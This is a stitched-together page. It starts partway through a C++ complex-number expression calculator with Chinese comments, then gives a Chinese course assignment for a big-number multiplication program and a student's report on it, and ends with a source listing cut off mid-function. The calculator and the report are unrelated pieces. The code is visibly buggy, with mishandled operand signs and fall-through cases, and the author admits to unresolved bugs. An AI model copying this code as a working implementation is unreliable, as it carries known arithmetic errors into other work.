opstack2.push(opstack1.top());
opstack1.pop();
}
if(!bufstack1.empty()){
bufstack2.push(bufstack1.top());
bufstack1.pop();
}

if(opstack2.empty()&&bufstack2.size()==1){
ETraslate(buf);
for(int i=0;i<buf.length();i++){
if(isalpha(buf[i])&&buf[i]!='i'){

cerr<<"存在非法变量"<<endl;
Invalid=1;
return ;
}
}
buf=bufstack2.top();
bufstack2.pop();
return;//只有一个值,就不管他,直接返回
}
while(bufstack2.top()!="@"||bufstack2.size()>1||!opstack1.empty()||!opstack2.empty()){//依据操作符栈1是否为空判断是否结束
if((!opstack1.empty())){
if(!opstack1.empty()&&!opstack2.empty()&&(WhoFirst(opstack1.top())>=WhoFirst(opstack2.top()))){//来者的优先级比较大,就不管它
if(opstack1.top()=='('&&opstack2.top()==')'){
opstack1.pop();
opstack2.pop();
}
opstack2.push(opstack1.top());
opstack1.pop();
bufstack2.push(bufstack1.top());
bufstack1.pop();
}else if(!opstack1.empty()&&!opstack2.empty()&&(WhoFirst(opstack1.top())<WhoFirst(opstack2.top()))){//来者的优先级比较小,我们就要进行运算。
//这里的运算也要判断是否为虚数i,先放进类
char op=opstack2.top();
opstack2.pop();
switch (op){
case '+':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
cout<<"2+1: "<<endl;
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
break;
case '-':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result-mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result-bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
break;
case '*':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
temp_result=zero_com;
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=temp_result*mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result*bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
mulsave.push_back(temp_result);
break;
case '/':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
temp_result=zero_com;
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=temp_result/mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result/bufstack2.top();
bufstack2.pop();//把0pop掉
}//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
mulsave.push_back(temp_result);
break;
case '(':
//不断计算算直到遇到 (
if(opstack2.top()!=')'){
///////////////////////////////////////////////////////////////////////////////////////////////////
switch (op){//用上面的东西再运算一遍
case '+':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();

}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
break;
case '-':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();

bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result-mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result-bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
break;
case '*':
temp_result=zero_com;
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=mulsave.back();
mulsave.pop_back();

bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=temp_result*mulsave.back();
mulsave.pop_back();

bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result*bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
mulsave.push_back(temp_result);
break;
case '/':
temp_result=zero_com;
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=mulsave.back();
mulsave.pop_back();

bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=temp_result/mulsave.back();
mulsave.pop_back();

bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result/bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
mulsave.push_back(temp_result);
break;
default:
break;
////////////////////////////////////////////////////////////////////////////////////////////////////
}
}else{
cout<<"将)出栈"<<endl;
opstack2.pop();//将stack2的op )出栈
}
default:
break;
}
}else{//opstack1不空,但是opstack2空。
if(opstack1.top()=='('&&opstack2.top()==')'){
opstack1.pop();
opstack2.pop();
}
opstack2.push(opstack1.top());
opstack1.pop();
bufstack2.push(bufstack1.top());
bufstack1.pop();
}
} //opstack2.size()<1
else {//只有一个符号或者为空.
if(opstack1.empty()){//符号栈空了,说明已经用完了,应该计算
//要么是运算符号
while (!opstack2.empty()){
char op=opstack2.top();
opstack2.pop();
switch (op){
case '+':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();

bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();

bufstack2.pop();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
break;
case '-':
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result+mulsave.back();
mulsave.pop_back();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
result=result-mulsave.back();
mulsave.pop_back();
}else{
if(bufstack2.top()=="@")
result=result+"0";
else
result=result-bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
break;
case '*':
temp_result=zero_com;
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=temp_result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=temp_result*mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result*bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
mulsave.push_back(temp_result);
break;
case '/':
temp_result=zero_com;
//bufstack2.top()=bufstack2.top()+bufstack1.top();//进行运算
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=temp_result+mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result+bufstack2.top();
bufstack2.pop();//把0pop掉
}
if(bufstack2.top() =="@" && mulsave.size()!=0){
temp_result=temp_result/mulsave.back();
mulsave.pop_back();
bufstack2.pop();
}else{
if(bufstack2.top()=="@")
temp_result=temp_result+"0";
else
temp_result=temp_result/bufstack2.top();
bufstack2.pop();//把0pop掉
}
bufstack2.push("@");//推入0,是为了代替运算后的结构的数据,因为运算后的结果已经保存到COM中了
mulsave.push_back(temp_result);
break;
}
}
}else{
cerr<<"异常操作"<<endl;//此时opstack2为空,opstack1还没有操作
exit(0);
}
}
}
if(mulsave.size()==1){
result=mulsave.back();
mulsave.pop_back();
}
ETraslate(buf);
for(int i=0;i<buf.length();i++){
if(isalpha(buf[i])&&buf[i]!='i'){
cerr<<"存在非法变量"<<endl;
Invalid=1;
}
}
//对应输出
if(Out_State == 0){
buf=result.alldata();
Out_State=0;
}else if(Out_State == 1){
buf=result.mod();
Out_State=0;
}else if(Out_State == 2 ){
//buf=result.con();
Out_State=0;
}
return ;
}
void NameTraslate(string &buf){
string::const_iterator it = buf.begin();
string::const_iterator word_start;
string::const_iterator word_end;
string word;
int idx=0;
int next_idx=0;
for (const auto& it : umap) {
idx=buf.find(it.first,0);
if(idx!= std::string::npos){//如果不等于,说明找到了
next_idx=idx+it.first.length();
buf.replace(idx,it.first.length(),it.second);//用值替换对应对的键
}
}
if(buf.find('_')!=std::string::npos){//如果还找到相对应对的标识符,输出,未定义对的变量.
cerr<<"未定义的变量"<<endl;
}
}
bool NameCheck(string &buf){
if((buf=="mod")||(buf=="con")||(buf=="i")||(buf=="E")){
cerr<<"变量名和关键字方法相同,请重新命名..."<<endl;
}
if(std::isalpha(buf[0])||buf[0]=='_'){
for(int i=1;i<buf.length();i++){
if(std::isalpha(buf[i])||buf[i]=='_'||('0'<=buf[i]&&buf[i]<='9')){
}else{
cerr<<"变量名不符合规范..."<<endl;
return 0;
}
}
}else{
cerr<<"变量名首字符不符合规范..."<<endl;
return 0;
}
return 1;
}
void ModTraslate(string &buf){ //mod(3+5i)
Complex result=Complex();
int find_idx=buf.find("mod(",0);
int end_idx=buf.find(")",find_idx);
int start_idx=find_idx+4;
string temp;
if(find_idx!=std::string::npos||end_idx!=std::string::npos){
Out_State=1;
temp=buf.substr(start_idx,end_idx-start_idx);
CountEr(temp);
result=result+temp;
temp=result.mod();
buf.replace(find_idx,end_idx-find_idx+1,temp);
}
}
void ConTraslate(string &buf){
Complex result=Complex();
int find_idx=buf.find("con(",0);
int end_idx=buf.find(")",find_idx);
int start_idx=find_idx+4;
string temp;
if(find_idx!=std::string::npos||end_idx!=std::string::npos){
Out_State=2;
temp=buf.substr(start_idx,end_idx-start_idx);
CountEr(temp);
result=result+temp;
temp=result.con();
buf.replace(find_idx,end_idx-find_idx+1,temp);
}
}
void ETraslate(string &buf){
string s=buf;
int idx_e = s.find("E");
int idx_ch =s.find("#");
int idx_i=s.find("i");
bool flag_i=0;

if(idx_e!= std::string::npos){
if(idx_i!=std::string::npos){
buf.pop_back();//把i给pop掉
flag_i=1;
}
if(idx_ch!= std::string::npos){//如果存在的话{
buf[idx_ch]='-';
}
string base = s.substr(0, idx_e); //获取小数部分
int exp = stoi(s.substr(idx_e + 1)); //获取指数部分
buf=AdjustResult(exp,base);
if(flag_i){
buf.append("i");
}
}else {
return ;
}
}
bool CheckImga(string &buf)
{
for(int i=0;i<buf.length();i++){
if(buf[i]=='i')
return true;
}
return false;
}


void BlankFliter(string &str)//使用C++string类的方法快速删除空格
{
//std::remove_if函数用于将所有空白字符移动到字符串的末尾,
//然后使用erase函数将它们从字符串中删除。
//::isspace函数是一个标准库函数,用于检查一个字符是否为空白字符。
str.erase(std::remove_if(str.begin(), str.end(), ::isspace), str.end());
}

int WhoFirst(char op)
{
if(op=='(')
return 1;
else if(op=='+'||op=='-')
return 2;
else if(op=='*'||op=='/')
return 3;
if(op==')')
return 1;
else
cerr<<"错误的字符输入"<<endl;
}

string AdjustResult(int exp,string &buf){
string adjust_result;
if (exp < 0) {
// 计算小数点需要向左移动的位数
int move = -exp;
adjust_result = "0." + std::string(move, '0') + buf;
} else {
// 在整数部分后面拼接exp个"0"
adjust_result = buf + std::string(exp, '0');
}
return adjust_result;
}
string MpfAdjustResult(int exp,string &buf){
int len=buf.length();
if (exp <= 0) {
if(len){
// 计算小数点需要向左移动的位数
int move = -exp;
buf = "0." + std::string(move, '0') + buf;
}
} else if(exp>0){
if(len>exp){//对于长度大于exp的小数
buf.insert(exp,1,'.');
return buf;
}else if(len==exp){//对于小数点刚好在其数字后面的整数
return buf;
}
exp=exp-len;
buf = buf + std::string(exp, '0');
}else{
return buf;
}
return buf;
}

:::info

课程项目一:乘法程序

实现一个可以完成读取两个数并输出两数相乘结果的程序。

需求

1. 请使用C++完成代码,程序需要可以被一个C++编译器(如g++)编译。程序应该尽可能

符合普通人使用计算器完成乘法的直觉。

2. 通过以下方式执行代码,程序会打印表达式和结果。两个数需要通过命令行参数进行读

取。(以下为linux环境,如果windows环境,虽有小差别(如mul.exe,带有拓展名exe),

但也需要实现类似功能。)

$./mul 2 3

2 * 3 = 6

3. 如果输入存在非整数,程序需要尝试把它们转译成浮点数

$./mul 3.1416 2

3.1416 * 2 = 6.2832

$./mul 3.1415 2.0e-2

3.1415 * 0.02 = 0.06283

4. 如果当输入不是一个数字时,程序能够说明情况

$./mul a * 2

输入不能被解析为一个数字!

5. 如果你输入的是一些大整数,会发生什么情况?请尝试着描述可能的解决方法,并试着实

现它。

$./mul 1234567890 987654321 # 结果应该是 1219326311126352690

6. 如果输入的是大浮点数,会发生什么情况?请尝试着描述可能的解决方法,并试着实现

它。

$./mul 1.0e200 1.0e200

7. 尝试多种方式对代码进行优化,包括执行速度、功能等(提示:搜索高精度乘法等关键

词,以及快速傅里叶变换等关键词,尝试支持大数,并提高乘法精度和速度;可以尝试完

善错误提示,让错误提示更加明确;尝试允许用户自选输出方式,如是否采用科学计数法

等)。

8. 如果可以,尽量少使用相关代码库,直接调用高精度乘法相关的库无法获得高分。

9. 项目报告需要对需求进行分析,描述你的实现方案与项目特色,贴出核心代码并加以解

释,若代码编译运行比较复杂,需要附上如何编译运行代码。给出运行结果的展示(如截

图),并尽量给出性能展示与分析。最后给出总结。同时,鼓励写上实现代码时遇到的困

难以及相应的解决思路/方案。

请注意

1. 请在截止日期前提交项目报告源代码。提交截止时间是10152359超过截止时间

的提交将无效

2. 请分开提交项目报告与源代码(即不要放在同个压缩包下):报告与源代码命名方式为:

姓名-学号-项目一,报告为pdf,源代码如果单份可以直接发送,如果多份请传zip压缩包。

3. 分数还将取决于源代码和报告的质量。报告应该容易理解,并很好地描述你的工作,特别

是你工作的亮点。

4. 请更加注意代码风格。本项目有足够的时间来编写具有正确结果和良好代码风格的代码。

如果代码风格很糟糕,可能会被扣分。可以阅读Google C++风格指南

(http://google.github.io/styleguide/cppguide.html)或其他一些代码风格指南。

:::

需求1:请使用C++完成代码,程序需要可以被一个C++编译器(如g++)编译。程序应该尽可能

符合普通人使用计算器完成乘法的直觉。

直接 g++ .\project1.cpp -o .\project1.exe编译即可,如何使用?

我们直接./project1.exe 123 123使用,即可得到123*123的结果


需求2:打印表达式和结果,通过命令行参数读取,此处用windows执行。

执行结果

解析

此处是打印表达式用到的东西,此时还用命令行参数,所以存储格式是char,下面会进行转换int

此处是打印“=”与结果,结果存储在一个int类型的数组中,在我们的函数里,为了计算方便,将字符串倒转过来,所以最后打印结果的时候需要逆序打印。

这里还用一个函数判断是否为浮点数,以判断在什么位置应该打印小数点“.”,其中46为小数点的ASCII码

flag1与flag2判断前面是否需要带负号

现在我们来讲讲整数乘法部分是如何实现的,我们先看从函数调用看过去,在此之前,有一个char数组转int数组的操作(并且将数组逆转)(其实转成char数组也可以,但是乘法的算法和int不一样,需要重新设计)

然后将逆转后的数组(int)传参进函数运算

注意到len3=len1+len2,,之后进行乘法运算,最后减去多余的0,如何理解?

如25 * 25=625,此时len3是4,第一个for循环式运算出来的结果是 ,5260,减去多余的0是526,然后逆序输出成625

如果用局部变量来获取长度可能会有问题,如下。我们用全局来解决

len_ptr1=strlen(ptr1);如果用strlen,如果第一个字符是’\x00’,就会截断,长度为0

需求3:如果输入存在非整数,程序需要尝试把它们转译成浮点数

执行结果,和描述有点差异,比如科学技术法打印出来并没有转换成小数,以及小数点后面的0并没有省去

以及这里的科学技术法只能用大写E

科学计数法转换

应该是用到了C++这两个库

分为两步,一个是科学计数法法转浮点数,另一个是浮点数转成字符数组

这里在转换的时候遇到困难,搜资料发现有如此简单的方法,便采用,用到了类的东西

使用find方法找到E的位置,exp是指数部分,base是我们前面的部分

然后做一个运算

小数分析

上面提到过,有一个函数判断是否为浮点数,我们的函数如下,就是根据里面有没有”.”进行判断,是的话,返回真,执行我们的浮点数运算函数。这个函数就是看有没有’.’,此时Dotflag传进来的还是char类型的数组

那浮点数乘法部分我们如何实现的呢?

首先我们先看,此处定义了dotflag,来分别存储各个数组小数点的位置,在小数运算中有个特性,就是结果的小数点后几位取决于乘法两个数小数点几位相加的结果。比如1.44=1.2*1.2(2=1+1)

所以我们dotflag就是1 2相加。

此时我们看前面两个for循环,这两个for循环是记住dot对的位置,然后去除dot。

注意这里判断的时候,由于我们前面逆转操作时有 int(ptr[i]-‘0’)的操作,所以我们不能直接判断它是否为’.’,而是如图

去掉小数点之后,我们数组就剩数字了,是不是意味着我们可以把它当做整数处理?

所以后面直接带进整数乘法。

最后出来,我们要把小数点给插上去,插进去的时候注意len3长度要加1

最后出来到main函数这里打印,注意这里有三个if同级,后面两个if是因为程序有点bug,临时做的一点修改,我目前找不到这个bug来源于哪里,这后面的两个if大概是这样的:

因为逆序输出,第一位就是最后一位(len-1),在科学计数法运算的时候,Float_Mul更改过的mul_result数组最后一位是以0结尾,也看不见小数点,这个问题可能和长度有关。但是呢,我们如果输入小数它又是正常的。

bug如:0625 修补后0.625

第三个if单独修补以’.’开头的东西

大概效果如:.625 修补后0.625

最后for循环里面,由于我们在Float_Mul插进去的是’.’,int类型值是46,所以我们也要判断如果是46就要换成点。注意这里数组每个值都不会大于10,如果大于10会被前面Big_Mul算法除掉,所以这是安全的。

需求4 检查

如图,我们声明了两个int变量来记录dot和E的个数,如果2个及以上就是非法字符,当然这里没法判断输入者可以用.和E结尾,不过程序会运行出一些奇怪的数据。

还有输入其他的也是非法字符,只让输入0-9 . E e这些

但是这里在处理科学计数法的时候会有一个问题,后面讲大浮点数的时候会涉及到。

需求5 大整数

由于这里的算法是针对大整数的,char类型数组不怕溢出,溢出了可以改改宏定义,所以多大都不怕。

需求6 大浮点数

大浮点数运算执行不通过,报错是自己写的,说太多’.’了(最后一行),我们可以看到整个存储它的数组

原因找到了,是因为check检查的时候,我们输入1.0E200在这个位置记录了一个dot,转换之后,len长度发生变化,但是check函数并没有重新执行一遍,所以在最后检测到了dot,此时char_dot为2,退出程序。

解决方法:在check前面进行科学计数法转换

可以看到都打印成功

需求7 需求8

完善错误提示

1
2
3
4
5
cout<<"ERROR[0]:Please enter a valid number"<<endl;

cout<<"ERROR[1]:Too many dot!"<<endl;

cout<<"ERROR[2]:To many 'E'!"<<endl;

支持大数

看了看傅里叶变换,感觉很厉害,这里记录下来以后会看

https://www.cnblogs.com/stelayuri/p/13347896.html

性能展示:

普通整数相乘

科学计数法,最后一个没有运行时间,说明崩掉了,不知道为什么最后一个会崩掉?难道是输出太多数据了?

感觉对于大数字还是足够快的。

不过了比较多的一个for循环,以及一个双重循环,这些就对时间有影响

需求9

高精度乘法的实现方案,我们用数组来存储一个一个位,这样就不会有大数的问题,按照对乘法的一般认识来写的这个程序,这样我们刚好用一个二层循环来实现乘法,先让A的每一位去乘B0,过完一次循环就到B1,以此类推。

核心代码就在大数乘法的部分,解释如注释,也在前面大乘法的时候解释过:

项目特色,个人觉得是段代码了,转换科学计数法的时候,很简洁,借鉴了别人的方法

总结

一个月的时间还是足够完成程序的,但是比较难处理的是修补程序各种想不到的bug,比如Float_Mul去掉点并记录位置的时候,此时int类型的 . 并不是其ACSII码46,而是其之前逆转字符串到int数组做的处理’.’-‘0’=-2这个当时找了很久都没找到是什么问题,很折磨。从写浮点数开始就已经出现许多错误了,然后到check函数,check函数还是遇到许多问题的,但是还好不是什么短路求值问题,而是在科学计数法转换的时候出现的一些问题,详细见需求6。

对刚学C++的我来说,感觉在这次作业比较偏向于C,因为还没学多少C++面向对象的一些特性,什么重载还有函数模板,感觉暂时也用不上(Ptr_Print)可以,不过那个函数是我为了检查有什么问题才写的,与主题程序无关。到科学计数法这一块,才认识到面向对象对的一些特性使用起来是多么方便。

虽然,我个人认为能够完成整个任务并没有什么问题不是一件容易的事,但是,我深刻感觉到我的代码有点繁琐,许多功能并不能协同实现,一些代码带入了一些不必要的循环,有很多是我现在也没有意识到的,对于以后选取采用何种方式,必须要进行深究。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
#include <iostream>
#include <string.h>
#include <string>
#include <cmath>
#include <stdlib.h>
#include <time.h>
using namespace std;

#define MAX 1024

bool flag1=true,flag2=true;
int *mul_result = new int [MAX]{0};
int len1=0;
int len2=0;
int len3=0;
int dotflag=0;

void Float_Mul(char *ptr1,char* ptr2,int* result);
void Big_Mul(char *ptr1,char* ptr2,int* result);
bool Dot_Flag(char *ptr1,char* ptr2);
void Scientific_Notation(char* ptr,int*plen);
void check(char *ptr1,char* ptr2);
void Ptr_Print(char*ptr);
void Is_Scientific(char *ptr,int *plen);


int main(int argc,char* argv[])
{

time_t begin,end;
begin=clock();
if(argc == 3)
{
char ptr1[MAX]={0};
char ptr2[MAX]={0};

//判断是否为负数,是的话通过前移字符串就取绝对值,然后打印负号
//打印符号在最后面输出的时候打印
if(argv[1][0]=='-')
{
strcpy(&argv[1][0],&argv[1][1]);
flag1=false;
}
if(argv[2][0]=='-')
{
strcpy(&argv[2][0],&argv[2][1]);
flag2=false;
}

//打印表达式
Ptr_Print(argv[1]);
cout<<" *"<<" ";
Ptr_Print(argv[2]);
len1=strlen(&argv[1][0]);
len2=strlen(&argv[2][0]);

//检查字符串是否合法,不合法直接退出程序
Is_Scientific(argv[1],&len1);
Is_Scientific(argv[2],&len2);
check(argv[1],argv[2]);

//将字符倒过来才符合规律
for(int i=0;i<len1;i++)
{
ptr1[i]=int(argv[1][len1-1-i]-'0');//注意这里ptr里面存的已经是数字了,不是它的ASCII码
}
for(int i=0;i<len2;i++)
{
ptr2[i]=int(argv[2][len2-1-i]-'0');
}

cout<<" ="<<" ";
//根据判断有没有.的结果来选择进入函数
//输出计算结果(逆序输出逆序算出的结果就是正序)
if (Dot_Flag(argv[1],argv[2]))
{//Entering float_Mul func()
Float_Mul(ptr1,ptr2,mul_result);
if(flag1==true&&flag2==false||flag1==false&&flag2==true)
cout<<"-";
if(mul_result[len3-1]==0)
mul_result[len3-1]='.';
if(mul_result[len3-1]==46)
cout<<"0";
for(int i=len3-1 ; i>=0 ; i--)
{
if(mul_result[i]!=46)
{
cout<<mul_result[i];
}
else putchar('.');
}
}
else
{//Entering Big_Mul func()
Big_Mul(ptr1,ptr2,mul_result);
if(flag1==true&&flag2==false||flag1==false&&flag2==true)
cout<<"-";
for(int i=len3-1 ; i>=0 ; i--)
{
cout<<mul_result[i];
}
}
}
else
{
cout<<"two argument expected."<<endl;
}
delete []mul_result;
end=clock();
cout<<endl;
cout<<endl<<"runtime: "<<double(end-begin)/CLOCKS_PER_SEC<<endl;


return 0;
}

//浮点数乘法
void Float_Mul(char *ptr1,char* ptr2,int* result)
{
int temp;
int dotflag1=0;
int dotflag2=0;
len3=len1+len2;//这里len还算有.的长度

//判断是否为'.',并记录位置,我们处理是将dot展示移出,等计算完再放回来
for(int i=0;i<len1;i++)
{
if(int(ptr1[i])==int('.'-'0'))
{
dotflag1=i;
strcpy(&ptr1[i],&ptr1[i+1]);
}
}
for(int i=0;i<len2;i++)
{
if(int(ptr2[i])==int('.'-'0'))
{
dotflag2=i;
strcpy(&ptr2[i],&ptr2[i+1]);
}

}

dotflag=dotflag1+dotflag2;
Big_Mul(ptr1,ptr2,mul_result);

//把小数点插进去,计算结果是 123.45的话,在存储中会是54321,把小数点插入54.321,长度len+1
//strcpy(&mul_result[dotflag+1],&mul_result[dotflag]);
if(dotflag)
{
len3=len3+1;
for(int i=len3-1;i>dotflag;i--)
{
mul_result[i]=mul_result[i-1];
}
mul_result[dotflag]='.';//这里本来放点。可是左值是一个INT类型
//所以会转为ACSII码,这个地方会显示46,我们遇到46去替换就行了
}
/*
cout<<endl;
cout<<"dot"<<dotflag<<endl;
for(int i=0;i<len3+1;i++)
{
cout<<mul_result[i]<<",";
}
*/
}

//判断是否采用浮点数
bool Dot_Flag(char *ptr1,char* ptr2)
{
int max=len1;
if(len1<len2)
max=len2;
//获取两者的最大值,以用于比较
for(int i=0;i<max;i++)
{
if(i<len1)
{
if(ptr1[i]=='.')
{
return true;
}
}
if(i<len2)
{
if(ptr2[i]=='.')
{
return true;
}
}
}
return false;
}

//大整数乘法
void Big_Mul(char *ptr1,char* ptr2,int* mul_result)
{
int temp;
len3=len1+len2;
for(int i=0 ; i < len1 ; ++i)
{
temp =0;
for(int j=0 ; j < len2 ; ++j)
{
mul_result[i+j]=ptr1[i]*ptr2[j]+temp+mul_result[i+j];//现有的加,之前的进位+原本的数据
temp=mul_result[i+j]/10; //留下temp用于退出循环进位,如果没有退出循环,就在循环里进位
mul_result[i+j]%=10;
//cout<<"mul_result_"<<i+j<<":"<<mul_result[i+j]<<endl;
}
mul_result[i+len2]=temp;
}

for(int i=len3-1 ; i>=0 ; --i)//从倒数开始,减去多余的位置
{
if(mul_result[i]==0 && len3 > 1)
{
len3--;
}
else
{
break;
}
}

}

void check(char *ptr1,char* ptr2)
{
int char_e=0;
int char_dot=0;
for(int i=0;i<len1;i++)
{
int qwq=((ptr1[i]=='.'||ptr1[i]=='-')||(ptr1[i]=='+'||ptr1[i]=='E')||(ptr1[i]=='e'));
if(!(('0'<=ptr1[i]&&ptr1[i]<='9')||qwq))
{
cout<<"ERROR[0]1:Please enter a valid number"<<endl;
exit(0);
}
if(ptr1[i]=='.')
{
char_dot++;
if(char_dot>=2)
{
cout<<"ERROR[1]:Too many dot!"<<endl;
exit(0);
}
}
if(ptr1[i]=='E'||ptr1[i]=='e')
{
char_e++;
if(char_e>=2)
{
cout<<"ERROR[2]:To many 'E'!"<<endl;
exit(0);
}
}

}
char_e=0;
char_dot=0;
for(int i=0;i<len2;i++)
{
